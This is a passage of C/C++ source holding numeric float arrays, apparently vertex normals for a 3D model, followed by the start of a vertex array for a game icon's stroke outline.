-0.025456f,0.0f,0.999676f,-0.025395f,-0.007088f,0.999652f,-0.007161f,-0.00707f,0.999949f,-0.007181f,0.0f,0.999974f, -0.025398f,0.007046f,0.999653f,-0.025456f,0.0f,0.999676f,-0.007181f,0.0f,0.999974f,-0.007163f,0.007027f,0.99995f, -0.211482f,0.213152f,0.953856f,-0.138447f,0.218126f,0.966051f,-0.198978f,0.347214f,0.916433f,-0.296456f,0.298724f,0.907126f, -0.138447f,0.218126f,0.966051f,-0.084089f,0.221062f,0.971628f,-0.117212f,0.361162f,0.925107f,-0.198978f,0.347214f,0.916433f, -0.198978f,0.347214f,0.916433f,-0.117212f,0.361162f,0.925107f,-0.168084f,0.541107f,0.823985f,-0.282777f,0.494303f,0.822011f, -0.296456f,0.298724f,0.907126f,-0.198978f,0.347214f,0.916433f,-0.282777f,0.494303f,0.822011f,-0.402197f,0.405178f,0.821017f, -0.084089f,0.221062f,0.971628f,-0.036885f,0.222305f,0.974279f,-0.050723f,0.367918f,0.928474f,-0.117212f,0.361162f,0.925107f, -0.036885f,0.222305f,0.974279f,-0.010867f,0.22256f,0.974858f,-0.014805f,0.369601f,0.929073f,-0.050723f,0.367918f,0.928474f, -0.050723f,0.367918f,0.928474f,-0.014805f,0.369601f,0.929073f,-0.020782f,0.568602f,0.822351f,-0.072149f,0.563165f,0.823189f, -0.117212f,0.361162f,0.925107f,-0.050723f,0.367918f,0.928474f,-0.072149f,0.563165f,0.823189f,-0.168084f,0.541107f,0.823985f, -0.072149f,0.563165f,0.823189f,-0.020782f,0.568602f,0.822351f,-0.025372f,0.696348f,0.717256f,-0.088478f,0.684053f,0.724047f, -0.168084f,0.541107f,0.823985f,-0.072149f,0.563165f,0.823189f,-0.088478f,0.684053f,0.724047f,-0.20294f,0.64707f,0.734926f, -0.282777f,0.494303f,0.822011f,-0.168084f,0.541107f,0.823985f,-0.20294f,0.64707f,0.734926f,-0.333245f,0.577074f,0.745609f, -0.402197f,0.405178f,0.821017f,-0.282777f,0.494303f,0.822011f,-0.333245f,0.577074f,0.745609f,-0.466013f,0.469045f,0.75022f, -0.025372f,0.696348f,0.717256f,-0.020782f,0.568602f,0.822351f,0.0f,0.568694f,0.822549f,-2.0E-6f,0.698486f,0.715623f, 0.0f,0.568694f,0.822549f,-0.020782f,0.568602f,0.822351f,-0.014805f,0.369601f,0.929073f,0.0f,0.369504f,0.929229f, 0.020804f,0.568602f,0.82235f,0.0f,0.568694f,0.822549f,0.0f,0.369504f,0.929229f,0.01482f,0.369601f,0.929072f, -2.0E-6f,0.698486f,0.715623f,0.0f,0.568694f,0.822549f,0.020804f,0.568602f,0.82235f,0.025388f,0.696365f,0.717239f, -0.014805f,0.369601f,0.929073f,-0.010867f,0.22256f,0.974858f,0.0f,0.222477f,0.974938f,0.0f,0.369504f,0.929229f, 0.0f,0.369504f,0.929229f,0.0f,0.222477f,0.974938f,0.010878f,0.222561f,0.974858f,0.01482f,0.369601f,0.929072f, 0.010835f,-0.23565f,0.971778f,0.0f,-0.235564f,0.971859f,0.0f,-0.389089f,0.9212f,0.014687f,-0.38921f,0.921032f, 0.0f,-0.235564f,0.971859f,-0.010823f,-0.235649f,0.971778f,-0.014671f,-0.38921f,0.921032f,0.0f,-0.389089f,0.9212f, 0.0f,-0.389089f,0.9212f,-0.014671f,-0.38921f,0.921032f,-0.020367f,-0.591835f,0.805802f,0.0f,-0.591896f,0.806014f, 0.014687f,-0.38921f,0.921032f,0.0f,-0.389089f,0.9212f,0.0f,-0.591896f,0.806014f,0.020387f,-0.591837f,0.8058f, -0.020367f,-0.591835f,0.805802f,-0.024675f,-0.717705f,0.69591f,-2.0E-6f,-0.719788f,0.694194f,0.0f,-0.591896f,0.806014f, 0.0f,-0.591896f,0.806014f,-2.0E-6f,-0.719788f,0.694194f,0.02469f,-0.717725f,0.695889f,0.020387f,-0.591837f,0.8058f, -0.46128f,-0.48965f,0.739908f,-0.32814f,-0.599132f,0.730319f,-0.27855f,-0.517113f,0.809323f,-0.397988f,-0.425903f,0.812534f, -0.32814f,-0.599132f,0.730319f,-0.198659f,-0.669215f,0.716021f,-0.165045f,-0.564346f,0.808872f,-0.27855f,-0.517113f,0.809323f, -0.27855f,-0.517113f,0.809323f,-0.165045f,-0.564346f,0.808872f,-0.116165f,-0.380579f,0.917423f,-0.197289f,-0.366449f,0.909281f, -0.397988f,-0.425903f,0.812534f,-0.27855f,-0.517113f,0.809323f,-0.197289f,-0.366449f,0.909281f,-0.294472f,-0.315809f,0.901971f, -0.198659f,-0.669215f,0.716021f,-0.086339f,-0.705672f,0.703258f,-0.070739f,-0.586438f,0.806899f,-0.165045f,-0.564346f,0.808872f, -0.086339f,-0.705672f,0.703258f,-0.024675f,-0.717705f,0.69591f,-0.020367f,-0.591835f,0.805802f,-0.070739f,-0.586438f,0.806899f, -0.070739f,-0.586438f,0.806899f,-0.020367f,-0.591835f,0.805802f,-0.014671f,-0.38921f,0.921032f,-0.050259f,-0.387507f,0.920496f, -0.165045f,-0.564346f,0.808872f,-0.070739f,-0.586438f,0.806899f,-0.050259f,-0.387507f,0.920496f,-0.116165f,-0.380579f,0.917423f, -0.050259f,-0.387507f,0.920496f,-0.014671f,-0.38921f,0.921032f,-0.010823f,-0.235649f,0.971778f,-0.036722f,-0.235389f,0.971207f, -0.116165f,-0.380579f,0.917423f,-0.050259f,-0.387507f,0.920496f,-0.036722f,-0.235389f,0.971207f,-0.083714f,-0.234126f,0.968595f, -0.197289f,-0.366449f,0.909281f,-0.116165f,-0.380579f,0.917423f,-0.083714f,-0.234126f,0.968595f,-0.137777f,-0.231234f,0.963093f, -0.294472f,-0.315809f,0.901971f,-0.197289f,-0.366449f,0.909281f,-0.137777f,-0.231234f,0.963093f,-0.210457f,-0.226211f,0.951071f, 0.212501f,-0.226048f,0.950655f,0.297154f,-0.315494f,0.901201f,0.347306f,-0.209845f,0.913971f,0.218237f,-0.145906f,0.964927f, 0.347306f,-0.209845f,0.913971f,0.297154f,-0.315494f,0.901201f,0.401261f,-0.425239f,0.811271f,0.493682f,-0.297695f,0.817102f, 0.362206f,-0.121013f,0.924209f,0.347306f,-0.209845f,0.913971f,0.493682f,-0.297695f,0.817102f,0.542487f,-0.173678f,0.821915f, 0.218237f,-0.145906f,0.964927f,0.347306f,-0.209845f,0.913971f,0.362206f,-0.121013f,0.924209f,0.221558f,-0.086713f,0.971284f, 0.401261f,-0.425239f,0.811271f,0.464547f,-0.488911f,0.738351f,0.57643f,-0.348399f,0.739153f,0.493682f,-0.297695f,0.817102f, 0.493682f,-0.297695f,0.817102f,0.57643f,-0.348399f,0.739153f,0.648687f,-0.208869f,0.731832f,0.542487f,-0.173678f,0.821915f, 0.362206f,-0.121013f,0.924209f,0.542487f,-0.173678f,0.821915f,0.564441f,-0.072486f,0.822285f,0.368823f,-0.050932f,0.928103f, 0.542487f,-0.173678f,0.821915f,0.648687f,-0.208869f,0.731832f,0.685633f,-0.08861f,0.722534f,0.564441f,-0.072486f,0.822285f, 0.564441f,-0.072486f,0.822285f,0.685633f,-0.08861f,0.722534f,0.697362f,-0.024953f,0.716285f,0.569527f,-0.020487f,0.821717f, 0.564441f,-0.072486f,0.822285f,0.569527f,-0.020487f,0.821717f,0.370348f,-0.014597f,0.928778f,0.368823f,-0.050932f,0.928103f, 0.221558f,-0.086713f,0.971284f,0.362206f,-0.121013f,0.924209f,0.368823f,-0.050932f,0.928103f,0.222823f,-0.037022f,0.974156f, 0.222823f,-0.037022f,0.974156f,0.368823f,-0.050932f,0.928103f,0.370348f,-0.014597f,0.928778f,0.223053f,-0.010715f,0.974747f, 0.223053f,-0.010715f,0.974747f,0.370348f,-0.014597f,0.928778f,0.37024f,-1.0E-6f,0.928936f,0.222967f,-1.0E-6f,0.974826f, 0.37024f,-1.0E-6f,0.928936f,0.370348f,-0.014597f,0.928778f,0.569527f,-0.020487f,0.821717f,0.569586f,-1.0E-6f,0.821932f, 0.37035f,0.014508f,0.928779f,0.37024f,-1.0E-6f,0.928936f,0.569586f,-1.0E-6f,0.821932f,0.569522f,0.020364f,0.821724f, 0.222967f,-1.0E-6f,0.974826f,0.37024f,-1.0E-6f,0.928936f,0.37035f,0.014508f,0.928779f,0.223051f,0.010649f,0.974749f, 0.569527f,-0.020487f,0.821717f,0.697362f,-0.024953f,0.716285f,0.699353f,1.1E-5f,0.714776f,0.569586f,-1.0E-6f,0.821932f, 0.569586f,-1.0E-6f,0.821932f,0.699353f,1.1E-5f,0.714776f,0.697248f,0.024864f,0.716398f,0.569522f,0.020364f,0.821724f, -0.46128f,-0.48965f,0.739908f,-0.397988f,-0.425903f,0.812534f,-0.490028f,-0.298377f,0.819051f,-0.572885f,-0.349196f,0.741529f, -0.490028f,-0.298377f,0.819051f,-0.397988f,-0.425903f,0.812534f,-0.294472f,-0.315809f,0.901971f,-0.344264f,-0.210118f,0.915059f, -0.538747f,-0.174169f,0.824268f,-0.490028f,-0.298377f,0.819051f,-0.344264f,-0.210118f,0.915059f,-0.359131f,-0.12118f,0.925386f, -0.572885f,-0.349196f,0.741529f,-0.490028f,-0.298377f,0.819051f,-0.538747f,-0.174169f,0.824268f,-0.645088f,-0.209547f,0.734814f, -0.294472f,-0.315809f,0.901971f,-0.210457f,-0.226211f,0.951071f,-0.216181f,-0.146015f,0.965373f,-0.344264f,-0.210118f,0.915059f, -0.344264f,-0.210118f,0.915059f,-0.216181f,-0.146015f,0.965373f,-0.219508f,-0.086774f,0.971744f,-0.359131f,-0.12118f,0.925386f, -0.538747f,-0.174169f,0.824268f,-0.359131f,-0.12118f,0.925386f,-0.365721f,-0.051004f,0.929326f,-0.560687f,-0.072708f,0.82483f, -0.359131f,-0.12118f,0.925386f,-0.219508f,-0.086774f,0.971744f,-0.22077f,-0.037047f,0.974622f,-0.365721f,-0.051004f,0.929326f, -0.365721f,-0.051004f,0.929326f,-0.22077f,-0.037047f,0.974622f,-0.221f,-0.010721f,0.975215f,-0.367244f,-0.014617f,0.93001f, -0.365721f,-0.051004f,0.929326f,-0.367244f,-0.014617f,0.93001f,-0.565774f,-0.020551f,0.824304f,-0.560687f,-0.072708f,0.82483f, -0.645088f,-0.209547f,0.734814f,-0.538747f,-0.174169f,0.824268f,-0.560687f,-0.072708f,0.82483f,-0.682094f,-0.088945f,0.725836f, -0.682094f,-0.088945f,0.725836f,-0.560687f,-0.072708f,0.82483f,-0.565774f,-0.020551f,0.824304f,-0.69385f,-0.025062f,0.719683f, -0.693736f,0.024972f,0.719796f,-0.695847f,1.1E-5f,0.71819f,-0.565837f,-1.0E-6f,0.824517f,-0.565768f,0.020427f,0.824311f, -0.695847f,1.1E-5f,0.71819f,-0.69385f,-0.025062f,0.719683f,-0.565774f,-0.020551f,0.824304f,-0.565837f,-1.0E-6f,0.824517f, -0.565837f,-1.0E-6f,0.824517f,-0.565774f,-0.020551f,0.824304f,-0.367244f,-0.014617f,0.93001f,-0.36714f,-1.0E-6f,0.930166f, -0.565768f,0.020427f,0.824311f,-0.565837f,-1.0E-6f,0.824517f,-0.36714f,-1.0E-6f,0.930166f,-0.367245f,0.014528f,0.930011f, -0.367244f,-0.014617f,0.93001f,-0.221f,-0.010721f,0.975215f,-0.220914f,-1.0E-6f,0.975293f,-0.36714f,-1.0E-6f,0.930166f, -0.36714f,-1.0E-6f,0.930166f,-0.220914f,-1.0E-6f,0.975293f,-0.220997f,0.010655f,0.975216f,-0.367245f,0.014528f,0.930011f, 0.010878f,0.222561f,0.974858f,0.037001f,0.222307f,0.974274f,0.050884f,0.367932f,0.92846f,0.01482f,0.369601f,0.929072f, 0.037001f,0.222307f,0.974274f,0.084603f,0.221056f,0.971585f,0.117939f,0.361173f,0.92501f,0.050884f,0.367932f,0.92846f, 0.050884f,0.367932f,0.92846f,0.117939f,0.361173f,0.92501f,0.169134f,0.541105f,0.823771f,0.072381f,0.563194f,0.823149f, 0.020804f,0.568602f,0.82235f,0.01482f,0.369601f,0.929072f,0.050884f,0.367932f,0.92846f,0.072381f,0.563194f,0.823149f, 0.084603f,0.221056f,0.971585f,0.139597f,0.218066f,0.965898f,0.200629f,0.347092f,0.91612f,0.117939f,0.361173f,0.92501f, 0.139597f,0.218066f,0.965898f,0.213531f,0.212993f,0.953435f,0.299149f,0.298419f,0.906342f,0.200629f,0.347092f,0.91612f, 0.200629f,0.347092f,0.91612f,0.299149f,0.298419f,0.906342f,0.405489f,0.404531f,0.819716f,0.285031f,0.494036f,0.821393f, 0.117939f,0.361173f,0.92501f,0.200629f,0.347092f,0.91612f,0.285031f,0.494036f,0.821393f,0.169134f,0.541105f,0.823771f, 0.285031f,0.494036f,0.821393f,0.405489f,0.404531f,0.819716f,0.4693f,0.468325f,0.748619f,0.335556f,0.576804f,0.744781f, 0.169134f,0.541105f,0.823771f,0.285031f,0.494036f,0.821393f,0.335556f,0.576804f,0.744781f,0.204073f,0.64709f,0.734595f, 0.072381f,0.563194f,0.823149f,0.169134f,0.541105f,0.823771f,0.204073f,0.64709f,0.734595f,0.088715f,0.684119f,0.723955f, 0.020804f,0.568602f,0.82235f,0.072381f,0.563194f,0.823149f,0.088715f,0.684119f,0.723955f,0.025388f,0.696365f,0.717239f, 0.010835f,-0.23565f,0.971778f,0.014687f,-0.38921f,0.921032f,0.050418f,-0.38752f,0.920482f,0.036837f,-0.235391f,0.971203f, 0.050418f,-0.38752f,0.920482f,0.014687f,-0.38921f,0.921032f,0.020387f,-0.591837f,0.8058f,0.070967f,-0.586467f,0.806858f, 0.116885f,-0.380591f,0.917327f,0.050418f,-0.38752f,0.920482f,0.070967f,-0.586467f,0.806858f,0.166076f,-0.564345f,0.808662f, 0.036837f,-0.235391f,0.971203f,0.050418f,-0.38752f,0.920482f,0.116885f,-0.380591f,0.917327f,0.084225f,-0.234121f,0.968552f, 0.020387f,-0.591837f,0.8058f,0.02469f,-0.717725f,0.695889f,0.086571f,-0.705739f,0.703163f,0.070967f,-0.586467f,0.806858f, 0.070967f,-0.586467f,0.806858f,0.086571f,-0.705739f,0.703163f,0.199773f,-0.669232f,0.715695f,0.166076f,-0.564345f,0.808662f, 0.116885f,-0.380591f,0.917327f,0.166076f,-0.564345f,0.808662f,0.280776f,-0.516844f,0.808725f,0.198928f,-0.366325f,0.908974f, 0.166076f,-0.564345f,0.808662f,0.199773f,-0.669232f,0.715695f,0.33043f,-0.598851f,0.729516f,0.280776f,-0.516844f,0.808725f, 0.280776f,-0.516844f,0.808725f,0.33043f,-0.598851f,0.729516f,0.464547f,-0.488911f,0.738351f,0.401261f,-0.425239f,0.811271f, 0.280776f,-0.516844f,0.808725f,0.401261f,-0.425239f,0.811271f,0.297154f,-0.315494f,0.901201f,0.198928f,-0.366325f,0.908974f, 0.084225f,-0.234121f,0.968552f,0.116885f,-0.380591f,0.917327f,0.198928f,-0.366325f,0.908974f,0.138923f,-0.231173f,0.962943f, 0.138923f,-0.231173f,0.962943f,0.198928f,-0.366325f,0.908974f,0.297154f,-0.315494f,0.901201f,0.212501f,-0.226048f,0.950655f, 0.007169f,-0.00707f,0.999949f,0.007179f,-0.025559f,0.999648f,0.025473f,-0.02556f,0.999349f,0.025479f,-0.007087f,0.99965f, 0.007179f,-0.025559f,0.999648f,0.007472f,-0.063716f,0.99794f,0.02618f,-0.063744f,0.997623f,0.025473f,-0.02556f,0.999349f, 0.025473f,-0.02556f,0.999349f,0.02618f,-0.063744f,0.997623f,0.062764f,-0.064559f,0.995938f,0.061979f,-0.026292f,0.997731f, 0.025479f,-0.007087f,0.99965f,0.025473f,-0.02556f,0.999349f,0.061979f,-0.026292f,0.997731f,0.061944f,-0.007387f,0.998052f, 0.007472f,-0.063716f,0.99794f,0.008329f,-0.119124f,0.992845f,0.028568f,-0.119188f,0.992461f,0.02618f,-0.063744f,0.997623f, 0.008329f,-0.119124f,0.992845f,0.010835f,-0.23565f,0.971778f,0.036837f,-0.235391f,0.971203f,0.028568f,-0.119188f,0.992461f, 0.028568f,-0.119188f,0.992461f,0.036837f,-0.235391f,0.971203f,0.084225f,-0.234121f,0.968552f,0.066426f,-0.119489f,0.990611f, 0.02618f,-0.063744f,0.997623f,0.028568f,-0.119188f,0.992461f,0.066426f,-0.119489f,0.990611f,0.062764f,-0.064559f,0.995938f, 0.062764f,-0.064559f,0.995938f,0.066426f,-0.119489f,0.990611f,0.114563f,-0.120018f,0.98614f,0.113981f,-0.068259f,0.991135f, 0.066426f,-0.119489f,0.990611f,0.084225f,-0.234121f,0.968552f,0.138923f,-0.231173f,0.962943f,0.114563f,-0.120018f,0.98614f, 0.114563f,-0.120018f,0.98614f,0.138923f,-0.231173f,0.962943f,0.212501f,-0.226048f,0.950655f,0.218237f,-0.145906f,0.964927f, 0.113981f,-0.068259f,0.991135f,0.114563f,-0.120018f,0.98614f,0.218237f,-0.145906f,0.964927f,0.221558f,-0.086713f,0.971284f, 0.061944f,-0.007387f,0.998052f,0.061979f,-0.026292f,0.997731f,0.113708f,-0.028673f,0.9931f,0.113635f,-0.008231f,0.993489f, 0.061979f,-0.026292f,0.997731f,0.062764f,-0.064559f,0.995938f,0.113981f,-0.068259f,0.991135f,0.113708f,-0.028673f,0.9931f, 0.113708f,-0.028673f,0.9931f,0.113981f,-0.068259f,0.991135f,0.221558f,-0.086713f,0.971284f,0.222823f,-0.037022f,0.974156f, 0.113635f,-0.008231f,0.993489f,0.113708f,-0.028673f,0.9931f,0.222823f,-0.037022f,0.974156f,0.223053f,-0.010715f,0.974747f, 0.00717f,0.007027f,0.99995f,0.007189f,0.0f,0.999974f,0.025542f,0.0f,0.999674f,0.025482f,0.007044f,0.999651f, 0.007189f,0.0f,0.999974f,0.007169f,-0.00707f,0.999949f,0.025479f,-0.007087f,0.99965f,0.025542f,0.0f,0.999674f, 0.025542f,0.0f,0.999674f,0.025479f,-0.007087f,0.99965f,0.061944f,-0.007387f,0.998052f,0.061996f,0.0f,0.998076f, 0.025482f,0.007044f,0.999651f,0.025542f,0.0f,0.999674f,0.061996f,0.0f,0.998076f,0.061948f,0.007344f,0.998052f, 0.061944f,-0.007387f,0.998052f,0.113635f,-0.008231f,0.993489f,0.11363f,0.0f,0.993523f,0.061996f,0.0f,0.998076f, 0.113635f,-0.008231f,0.993489f,0.223053f,-0.010715f,0.974747f,0.222967f,-1.0E-6f,0.974826f,0.11363f,0.0f,0.993523f, 0.11363f,0.0f,0.993523f,0.222967f,-1.0E-6f,0.974826f,0.223051f,0.010649f,0.974749f,0.113637f,0.008184f,0.993489f, 0.061996f,0.0f,0.998076f,0.11363f,0.0f,0.993523f,0.113637f,0.008184f,0.993489f,0.061948f,0.007344f,0.998052f, -0.693736f,0.024972f,0.719796f,-0.565768f,0.020427f,0.824311f,-0.560511f,0.071322f,0.82507f,-0.681667f,0.087549f,0.726406f, -0.560511f,0.071322f,0.82507f,-0.565768f,0.020427f,0.824311f,-0.367245f,0.014528f,0.930011f,-0.365644f,0.050051f,0.929408f, -0.53875f,0.167715f,0.825603f,-0.560511f,0.071322f,0.82507f,-0.365644f,0.050051f,0.929408f,-0.359059f,0.116722f,0.925987f, -0.681667f,0.087549f,0.726406f,-0.560511f,0.071322f,0.82507f,-0.53875f,0.167715f,0.825603f,-0.644943f,0.202621f,0.736881f, -0.367245f,0.014528f,0.930011f,-0.220997f,0.010655f,0.975216f,-0.220758f,0.036362f,0.974651f,-0.365644f,0.050051f,0.929408f, -0.365644f,0.050051f,0.929408f,-0.220758f,0.036362f,0.974651f,-0.219543f,0.083629f,0.972012f,-0.359059f,0.116722f,0.925987f, -0.53875f,0.167715f,0.825603f,-0.359059f,0.116722f,0.925987f,-0.34505f,0.199733f,0.917086f,-0.491757f,0.284219f,0.82304f, -0.359059f,0.116722f,0.925987f,-0.219543f,0.083629f,0.972012f,-0.216564f,0.138788f,0.966353f,-0.34505f,0.199733f,0.917086f, -0.34505f,0.199733f,0.917086f,-0.216564f,0.138788f,0.966353f,-0.211482f,0.213152f,0.953856f,-0.296456f,0.298724f,0.907126f, -0.34505f,0.199733f,0.917086f,-0.296456f,0.298724f,0.907126f,-0.402197f,0.405178f,0.821017f,-0.491757f,0.284219f,0.82304f, -0.644943f,0.202621f,0.736881f,-0.53875f,0.167715f,0.825603f,-0.491757f,0.284219f,0.82304f,-0.574618f,0.33479f,0.746813f, -0.574618f,0.33479f,0.746813f,-0.491757f,0.284219f,0.82304f,-0.402197f,0.405178f,0.821017f,-0.466013f,0.469045f,0.75022f, 0.223051f,0.010649f,0.974749f,0.37035f,0.014508f,0.928779f,0.368745f,0.04998f,0.928186f,0.222811f,0.036337f,0.974184f, 0.368745f,0.04998f,0.928186f,0.37035f,0.014508f,0.928779f,0.569522f,0.020364f,0.821724f,0.564266f,0.071105f,0.822525f, 0.362133f,0.116561f,0.92481f,0.368745f,0.04998f,0.928186f,0.564266f,0.071105f,0.822525f,0.54249f,0.167243f,0.823246f, 0.222811f,0.036337f,0.974184f,0.368745f,0.04998f,0.928186f,0.362133f,0.116561f,0.92481f,0.221593f,0.083571f,0.971552f, 0.569522f,0.020364f,0.821724f,0.697248f,0.024864f,0.716398f,0.685209f,0.08722f,0.723105f,0.564266f,0.071105f,0.822525f, 0.564266f,0.071105f,0.822525f,0.685209f,0.08722f,0.723105f,0.648546f,0.20196f,0.733894f,0.54249f,0.167243f,0.823246f, 0.362133f,0.116561f,0.92481f,0.54249f,0.167243f,0.823246f,0.495412f,0.283564f,0.821071f,0.348093f,0.199473f,0.915992f, 0.54249f,0.167243f,0.823246f,0.648546f,0.20196f,0.733894f,0.578173f,0.334012f,0.744414f,0.495412f,0.283564f,0.821071f, 0.495412f,0.283564f,0.821071f,0.578173f,0.334012f,0.744414f,0.4693f,0.468325f,0.748619f,0.405489f,0.404531f,0.819716f, 0.495412f,0.283564f,0.821071f,0.405489f,0.404531f,0.819716f,0.299149f,0.298419f,0.906342f,0.348093f,0.199473f,0.915992f, 0.221593f,0.083571f,0.971552f,0.362133f,0.116561f,0.92481f,0.348093f,0.199473f,0.915992f,0.218621f,0.138683f,0.965905f, 0.218621f,0.138683f,0.965905f,0.348093f,0.199473f,0.915992f,0.299149f,0.298419f,0.906342f,0.213531f,0.212993f,0.953435f, 0.010878f,0.222561f,0.974858f,0.008351f,0.113056f,0.993554f,0.028645f,0.113157f,0.993164f,0.037001f,0.222307f,0.974274f, 0.008351f,0.113056f,0.993554f,0.007491f,0.061287f,0.998092f,0.026239f,0.061352f,0.997771f,0.028645f,0.113157f,0.993164f, 0.028645f,0.113157f,0.993164f,0.026239f,0.061352f,0.997771f,0.062873f,0.062197f,0.996082f,0.066588f,0.113508f,0.991303f, 0.037001f,0.222307f,0.974274f,0.028645f,0.113157f,0.993164f,0.066588f,0.113508f,0.991303f,0.084603f,0.221056f,0.971585f, 0.007491f,0.061287f,0.998092f,0.007187f,0.025058f,0.99966f,0.025494f,0.025072f,0.999361f,0.026239f,0.061352f,0.997771f, 0.007187f,0.025058f,0.99966f,0.00717f,0.007027f,0.99995f,0.025482f,0.007044f,0.999651f,0.025494f,0.025072f,0.999361f, 0.025494f,0.025072f,0.999361f,0.025482f,0.007044f,0.999651f,0.061948f,0.007344f,0.998052f,0.062015f,0.025807f,0.997742f, 0.026239f,0.061352f,0.997771f,0.025494f,0.025072f,0.999361f,0.062015f,0.025807f,0.997742f,0.062873f,0.062197f,0.996082f, 0.062873f,0.062197f,0.996082f,0.062015f,0.025807f,0.997742f,0.113738f,0.028159f,0.993112f,0.114097f,0.065833f,0.991286f, 0.062015f,0.025807f,0.997742f,0.061948f,0.007344f,0.998052f,0.113637f,0.008184f,0.993489f,0.113738f,0.028159f,0.993112f, 0.113738f,0.028159f,0.993112f,0.113637f,0.008184f,0.993489f,0.223051f,0.010649f,0.974749f,0.222811f,0.036337f,0.974184f, 0.114097f,0.065833f,0.991286f,0.113738f,0.028159f,0.993112f,0.222811f,0.036337f,0.974184f,0.221593f,0.083571f,0.971552f, 0.084603f,0.221056f,0.971585f,0.066588f,0.113508f,0.991303f,0.114794f,0.114134f,0.986811f,0.139597f,0.218066f,0.965898f, 0.066588f,0.113508f,0.991303f,0.062873f,0.062197f,0.996082f,0.114097f,0.065833f,0.991286f,0.114794f,0.114134f,0.986811f, 0.114794f,0.114134f,0.986811f,0.114097f,0.065833f,0.991286f,0.221593f,0.083571f,0.971552f,0.218621f,0.138683f,0.965905f, 0.139597f,0.218066f,0.965898f,0.114794f,0.114134f,0.986811f,0.218621f,0.138683f,0.965905f,0.213531f,0.212993f,0.953435f, 0.007491f,0.061287f,0.998092f,0.008351f,0.113056f,0.993554f,0.0f,0.113048f,0.99359f,0.0f,0.061335f,0.998117f, 0.008351f,0.113056f,0.993554f,0.010878f,0.222561f,0.974858f,0.0f,0.222477f,0.974938f,0.0f,0.113048f,0.99359f, 0.0f,0.113048f,0.99359f,0.0f,0.222477f,0.974938f,-0.010867f,0.22256f,0.974858f,-0.008343f,0.113057f,0.993554f, 0.0f,0.061335f,0.998117f,0.0f,0.113048f,0.99359f,-0.008343f,0.113057f,0.993554f,-0.007484f,0.061287f,0.998092f, 0.007491f,0.061287f,0.998092f,0.0f,0.061335f,0.998117f,0.0f,0.025116f,0.999685f,0.007187f,0.025058f,0.99966f, 0.0f,0.061335f,0.998117f,-0.007484f,0.061287f,0.998092f,-0.00718f,0.025059f,0.99966f,0.0f,0.025116f,0.999685f, 0.0f,0.025116f,0.999685f,-0.00718f,0.025059f,0.99966f,-0.007163f,0.007027f,0.99995f,0.0f,0.007045f,0.999975f, 0.007187f,0.025058f,0.99966f,0.0f,0.025116f,0.999685f,0.0f,0.007045f,0.999975f,0.00717f,0.007027f,0.99995f, -0.220997f,0.010655f,0.975216f,-0.112675f,0.008187f,0.993598f,-0.112781f,0.02817f,0.993221f,-0.220758f,0.036362f,0.974651f, -0.112675f,0.008187f,0.993598f,-0.061553f,0.007347f,0.998077f,-0.061625f,0.025816f,0.997765f,-0.112781f,0.02817f,0.993221f, -0.112781f,0.02817f,0.993221f,-0.061625f,0.025816f,0.997765f,-0.062487f,0.062214f,0.996105f,-0.113147f,0.065858f,0.991393f, -0.220758f,0.036362f,0.974651f,-0.112781f,0.02817f,0.993221f,-0.113147f,0.065858f,0.991393f,-0.219543f,0.083629f,0.972012f, -0.061553f,0.007347f,0.998077f,-0.025398f,0.007046f,0.999653f,-0.025412f,0.025076f,0.999363f,-0.061625f,0.025816f,0.997765f, -0.025398f,0.007046f,0.999653f,-0.007163f,0.007027f,0.99995f,-0.00718f,0.025059f,0.99966f,-0.025412f,0.025076f,0.999363f, -0.025412f,0.025076f,0.999363f,-0.00718f,0.025059f,0.99966f,-0.007484f,0.061287f,0.998092f,-0.026157f,0.061358f,0.997773f, -0.061625f,0.025816f,0.997765f,-0.025412f,0.025076f,0.999363f,-0.026157f,0.061358f,0.997773f,-0.062487f,0.062214f,0.996105f, -0.062487f,0.062214f,0.996105f,-0.026157f,0.061358f,0.997773f,-0.028558f,0.113162f,0.993166f,-0.066192f,0.113526f,0.991328f, -0.026157f,0.061358f,0.997773f,-0.007484f,0.061287f,0.998092f,-0.008343f,0.113057f,0.993554f,-0.028558f,0.113162f,0.993166f, -0.028558f,0.113162f,0.993166f,-0.008343f,0.113057f,0.993554f,-0.010867f,0.22256f,0.974858f,-0.036885f,0.222305f,0.974279f, -0.066192f,0.113526f,0.991328f,-0.028558f,0.113162f,0.993166f,-0.036885f,0.222305f,0.974279f,-0.084089f,0.221062f,0.971628f, -0.219543f,0.083629f,0.972012f,-0.113147f,0.065858f,0.991393f,-0.113857f,0.11417f,0.986915f,-0.216564f,0.138788f,0.966353f, -0.113147f,0.065858f,0.991393f,-0.062487f,0.062214f,0.996105f,-0.066192f,0.113526f,0.991328f,-0.113857f,0.11417f,0.986915f, -0.113857f,0.11417f,0.986915f,-0.066192f,0.113526f,0.991328f,-0.084089f,0.221062f,0.971628f,-0.138447f,0.218126f,0.966051f, -0.216564f,0.138788f,0.966353f,-0.113857f,0.11417f,0.986915f,-0.138447f,0.218126f,0.966051f,-0.211482f,0.213152f,0.953856f, }; const float cfGameIconStrokeVtxs[] = { -0.376756459475,1.046143651009f,0.0f, -0.512206375599f,1.039104461670f,0.0f, -0.613150417805f,1.029256582260f,0.0f, -0.688333272934f,1.016606807709f,0.0f, -0.746499598026f,1.001162052155f,0.0f, -0.796394228935f,0.982929229736,0.0f, -0.839153468609,0.961680650711,0.0f, -0.875913500786,0.93718868494,0.0f, -0.907810747623,0.909225344658,0.0f, -0.93598151207,0.877562940121,0.0f, -0.960655272007,0.840993285179,0.0f, -0.982061386108,0.79830801487,0.0f, -1.00042927265,0.748299062252,0.0f, -1.015988588333,0.689758002758,0.0f, -1.028732180595,0.613717556,0.0f, -1.038653135300,0.511210441589,0.0f, -1.045744538307,0.373269081116,0.0f, -1.049999356270,0.190926194191,0.0f, -1.051417708397,-1.349482312799E-002,0.0f, -1.049999356270,-0.217670500278,0.0f, -1.04574441910,-0.399277359247,0.0f, -1.038653135300,-0.535992026329,0.0f, -1.028732180595,-0.636890649796,0.0f, -1.015988588333,-0.711049556732,0.0f, -1.00042927265,-0.767545044422,0.0f, -0.982061386108,-0.815453350544,0.0f, -0.960655212402,-0.856050789356,0.0f, -0.93598151207,-0.890613555908,0.0f, -0.907810747623,-0.920418143272,0.0f, -0.875913500786,-0.946740865707,0.0f, -0.839153468609,-0.969795942307,0.0f, -0.796394228935,-0.989797830582,0.0f, -0.746499598026,-1.006960868835,0.0f, -0.688333272934,-1.021499633789,0.0f, -0.613150477409,-1.033407211304,0.0f, -0.512206375599,-1.042677521706,0.0f, -0.376756429672,-1.049303770065,0.0f, -0.19805586338,-1.053279519081,0.0f, 2.249561250210E-003,-1.054604768753,0.0f, 